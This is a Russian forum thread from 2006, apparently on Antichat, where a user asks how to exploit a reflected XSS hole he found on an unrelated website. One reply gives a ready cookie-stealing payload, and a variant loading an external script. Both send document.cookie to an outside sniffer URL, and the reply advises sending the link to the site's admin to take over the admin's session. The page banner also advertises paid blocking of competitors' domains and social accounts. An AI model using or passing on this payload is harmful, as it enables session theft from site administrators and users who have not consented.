Помогите разобраться с Xss

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Помогите разобраться с Xss

Опции темы

Поиск в этой теме

Опции просмотра

Помогите разобраться с Xss

23.02.2006, 18:47

LoFFi

Участник форума

Регистрация: 21.02.2006

Сообщений: 285

С нами: 10640486

Репутация: 408

Помогите разобраться с Xss

Я вот тут нашел сайт левенький, и через некоторое время нашел дыру XSS

http://www.......ru/news/index.php?param=1<h1>XSS</h1>

Только вот подскажите что я с этого теперь могу поиметь и как.

𝕏 Twitter Reddit Telegram Копировать ссылку

23.02.2006, 20:40

Electro

Участник форума

Регистрация: 23.10.2005

Сообщений: 276

С нами: 10814786

Репутация: 113

С начало читаем...

http://antichat.ru/crackchat/HTML/

http://antichat.ru/sniff/

Потом смотрим видео

http://video.antichat.net/1_0.html

Последний раз редактировалось Electro; 23.02.2006 в 20:42..

23.02.2006, 20:51

Azazel

Заведующий всем

Регистрация: 17.04.2005

Сообщений: 1,062

С нами: 11087066

Репутация: 561

Это пассивный XSS. Можешь вписать туда <script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script> если не фильтруются какие-либо спец символы. Если фильтруются можешь сделать так <script src=http://твой сайт/xss.js></script>Где в xss.js записано img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie; И дать эту ссылку админу. Если он лопух, получишь его куки.

__________________
Full DNS report

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Как запустить эксплоит? Помогите разобраться	sensible	Уязвимости CMS / форумов	8	04.03.2013 21:00
Помогите разобраться с угоном Аськи	seeattact	Skype, IRC, ICQ, Jabber и другие IM	5	17.01.2006 03:14
Помогите разобраться с методом описанным на этом сайте	BARMALEY	Уязвимости Mail-сервис	3	30.05.2005 12:18

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход